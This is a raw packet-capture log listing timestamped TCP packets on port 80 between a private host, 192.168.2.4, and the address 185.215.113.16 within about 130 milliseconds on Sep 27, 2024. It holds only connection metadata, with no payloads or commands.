Sep 27, 2024 17:42:04.104635954 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104645967 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104662895 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104681015 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104691029 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104713917 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104724884 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104763985 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104768991 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104801893 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104825974 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104835033 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104851961 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104867935 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104887009 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104906082 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104916096 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104944944 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140346050 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140382051 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140431881 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140482903 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140484095 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140516996 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140527010 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140549898 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140571117 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140583038 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140598059 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140615940 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140630960 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140649080 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140674114 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140722036 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140724897 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140768051 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140790939 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140837908 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140840054 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140872002 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140887022 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140917063 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140921116 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140953064 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.140961885 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.140984058 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141009092 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141024113 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141032934 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141064882 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141077995 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141099930 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141108036 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141132116 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141144037 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141164064 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141171932 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141196012 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141206026 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141230106 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141241074 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141263008 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141277075 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141305923 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141314983 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141347885 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141355991 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141388893 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141396999 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141428947 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141453028 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141460896 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141477108 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141494036 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141505957 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141525984 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141549110 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141572952 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141576052 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141609907 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141621113 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141644001 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141660929 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141676903 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141689062 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141721964 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141727924 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141778946 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141781092 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141810894 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141828060 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141844034 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141850948 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141875982 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141887903 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141910076 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141925097 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141942024 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141952038 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.141976118 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.141994953 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142007113 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142021894 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142040968 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142049074 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142070055 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142091036 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142102957 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142118931 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142149925 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142165899 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142183065 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142199993 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142214060 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142231941 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142242908 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142266035 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142292023 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142298937 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142313004 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142332077 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142343044 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142364025 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142373085 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142400980 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142407894 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142433882 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142441988 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142466068 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142474890 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142498970 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142508030 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142529964 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142543077 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142560959 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142573118 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142592907 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142605066 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142625093 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142637968 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142657995 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142669916 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142689943 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142708063 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142723083 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142735004 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142755032 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142767906 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142787933 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142801046 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142819881 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142832994 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142853975 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142863035 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142887115 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142904043 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142920017 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142929077 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142955065 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.142961979 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.142988920 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143001080 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143021107 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143029928 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143055916 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143069029 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143089056 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143100977 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143121004 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143131971 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143150091 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143162966 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143182039 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143199921 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143223047 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143232107 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143264055 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143282890 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143296003 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143311977 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143326998 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143337965 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143358946 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143373013 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143408060 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143410921 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143443108 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143455982 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143477917 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143485069 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143510103 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143518925 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143542051 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143553972 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143585920 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143598080 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143618107 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143630981 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143651009 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143659115 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143682957 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143711090 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143714905 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143732071 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143743038 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143759012 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143774986 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143786907 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143811941 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143829107 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143845081 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143856049 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143877029 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143886089 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143909931 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143919945 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143943071 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143950939 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.143975973 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.143990993 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.144021034 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.192840099 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.192894936 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.192918062 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.192949057 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.192962885 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.192998886 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.192998886 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193031073 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193051100 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193063974 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193075895 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193095922 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193108082 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193125963 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193145990 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193171978 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193173885 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193206072 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193213940 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193237066 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193262100 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193269968 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193279982 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193301916 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193309069 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193335056 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193347931 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193366051 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193382978 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.193417072 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.193454981 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.228836060 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.228972912 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229000092 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229010105 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229021072 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229032040 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229043007 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229046106 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229053974 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229064941 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229077101 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229089022 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229123116 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229140997 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229161978 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229171991 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229182959 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229187965 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229198933 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229204893 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229209900 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229227066 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229276896 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229288101 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229331017 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229439020 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229449987 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229460001 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229469061 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229477882 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229480028 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229490042 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229501009 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229501963 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229511023 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229522943 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229545116 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229566097 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229645014 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229655981 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229686022 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229711056 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229825020 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229835987 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229846001 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229856014 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229866982 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229876995 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229877949 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229885101 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229896069 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229906082 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229912996 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229917049 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229928017 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229934931 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229938984 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.229960918 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.229979992 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230082035 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230123997 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230148077 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230159044 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230169058 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230179071 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230189085 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230190039 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230211020 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230245113 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230329990 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230340004 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230350971 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230362892 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230374098 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230380058 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230389118 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230392933 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230400085 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230432034 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230460882 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230468988 CEST	80	49737	185.215.113.16	192.168.2.4
